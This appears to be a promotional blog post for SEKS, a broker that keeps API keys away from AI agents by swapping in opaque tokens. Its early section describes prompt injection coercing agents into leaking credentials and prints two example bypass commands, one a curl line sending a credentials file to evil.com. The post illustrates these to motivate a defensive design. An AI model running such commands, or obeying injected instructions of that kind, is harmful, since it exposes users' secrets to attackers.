When you give an AI agent access to external services â email, cloud storage, APIs â you typically hand over credentials. An API key. An OAuth token. Something that says âthis entity is authorized to act on my behalf.â
The problem: AI agents can be tricked into revealing those credentials.
This isnât hypothetical. Prompt injection attacks can coerce well-meaning agents into printing environment variables, encoding secrets in outbound requests, or writing credentials to files that get exfiltrated. The agent doesnât intend to betray you â itâs just following instructions it shouldnât trust.
The Obvious Solution Doesnât Work
âJust filter the output!â
Sure, you can scan agent responses for patterns that look like API keys. But attackers know this too:
# Bypasses simple pattern matching
echo $OPENAI_API_KEY | base64
curl https://evil.com/?k=$(cat ~/.credentials)
String transforms, external commands, file operations â all bypass output filtering. The moment a secret enters the agentâs environment, itâs at risk.
The Database Analogy
Databases solved this problem decades ago with stored procedures and definer rights.
When you call a stored procedure, you donât need the database password. You have EXECUTE permission on the procedure â the procedure itself has the elevated access. You invoke it, it does its thing, you get results. The connection string never touches your code.
This is exactly what AI agents need.
Enter SEKS: Secure Execution Key Sequestration
SEKS inverts the credential model. Instead of giving agents API keys, you give them opaque tokens that mean nothing without the broker:
from openai import OpenAI
client = OpenAI(
api_key="seks_openai_abc123", # This is NOT an OpenAI key
base_url="https://broker.seks.ai/api/openai"
)
# Agent uses the SDK normally...
response = client.chat.completions.create(
model="gpt-4",
messages=[{"role": "user", "content": "Hello!"}]
)
The agent thinks itâs using a real API key. Itâs not. The broker:
- Receives the request
- Validates the fake token
- Looks up the real API key (encrypted, stored securely)
- Injects the real key into the outbound request
- Forwards to OpenAI
- Returns the response
The agent never sees sk-.... If the agent is compromised, the attacker gets seks_openai_abc123 â which is useless outside the broker.
Why This Matters
For individuals: Your personal API keys stay safe even if an agent goes rogue.
For enterprises: Credential isolation at the architecture level, not policy level. You donât have to trust every agent implementation to handle secrets correctly.
For agent developers: Build agents without worrying about credential hygiene. Use standard SDKs. The security layer is beneath you.
The Bigger Picture
SEKS isnât just about API keys. Itâs about building infrastructure where AI agents can do useful work without being trusted with the crown jewels.
Agents that can send emails without SMTP passwords. Make purchases without credit card numbers. Access databases without connection strings.
The capability is granted. The credential is sequestered.
Our agents are using SEKS Broker while they are building it, running on our own fork of OpenClaw called SEKSBot. Want to know more or join our mailing list? Get in touch â